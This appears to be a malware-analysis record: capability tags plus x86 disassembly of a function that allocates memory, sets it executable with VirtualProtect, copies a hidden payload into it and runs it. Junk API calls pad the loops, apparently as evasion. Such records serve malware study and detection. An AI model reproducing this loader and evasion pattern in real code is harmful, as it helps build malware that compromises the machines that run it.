Function at 0x403348
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push esi
push edi
xor edi, edi
cmp dword [0x59c100], 0x5b1
jne 0x4033f2
push edi
lea eax, [ebp - 0x814]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push dword [ebp - 8]
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0x402de4
push edi
call fcn.00403b8c
pop ecx
pop ecx
lea esi, [ebp - 0x14]
call fcn.00402ff0
mov ecx, esi
call fcn.00403010
push edi
call fcn.00403974
push edi
push edi
call fcn.0040397f
push edi
call fcn.00403ab1
add esp, 0xc
mov dword [esp], edi
call fcn.0040303a
fstp st(0)
push edi
call fcn.00403ab1
pop ecx
call fcn.00403bae
add dword [0x59c100], 0x1134b
push ebx
push dword [0x59c100]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x59c100]
mov dword [0x59b054], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0x206d47
jg 0x403443
inc esi
cmp esi, 0x4f6a4
jl 0x40342a
xor esi, esi
cmp dword [0x59c100], edi
jbe 0x40348f
cmp dword [0x59c100], 0xa8
mov eax, dword [0x59c104]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x59b054]
mov byte [ecx + esi], al
jne 0x403486
push edi
call dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
inc esi
cmp esi, dword [0x59c100]
jb 0x40344d
xor esi, esi
mov eax, dword [0x59c100]
add eax, esi
cmp eax, 0xe
jne 0x4034ae
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
inc esi
cmp esi, 0x39621
jl 0x403491
mov esi, 0x1e6cc
push edi
push edi
call dword [sym.imp.USER32.dll_LoadMenuW]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [ebp - 0x14]
push eax
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x4034bc
call fcn.0040327a
call ebx
cmp esi, 0x26
jne 0x4034ee
call fcn.0040332e
inc esi
cmp esi, 0x6753f
jl 0x4034e2
push 0x7b
pop esi
pop ebx
cmp dword [0x59c100], 0x86
jne 0x40353c
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push edi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push edi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
dec esi
jne 0x4034fb
push 0x402dfc
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
leave
ret